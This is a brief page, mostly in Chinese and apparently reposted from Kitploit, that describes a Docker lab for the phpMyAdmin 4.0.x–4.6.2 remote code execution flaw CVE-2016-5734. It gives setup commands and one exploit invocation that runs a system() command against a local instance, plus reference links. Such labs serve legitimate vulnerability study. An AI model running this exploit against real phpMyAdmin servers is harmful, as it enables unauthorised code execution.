CVE-2016-5734-docker — PhpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞 (CVE-2016-5734) | Kitploit

CVE-2016-5734-docker

PhpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞（CVE-2016-5734）

搭建

git clone https://github.com/miko550/CVE-2016-5734-docker.git
cd CVE-2016-5734-docker
docker compose up
hhtp://localhost:8083

利用

python3 cve-2016-5734.py -u root --pwd="root" http://localhost:8083 -c "system('ls -lua')"

参考

https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2016-5734 https://github.com/allyshka/exploits/tree/master/CVE-2016-5734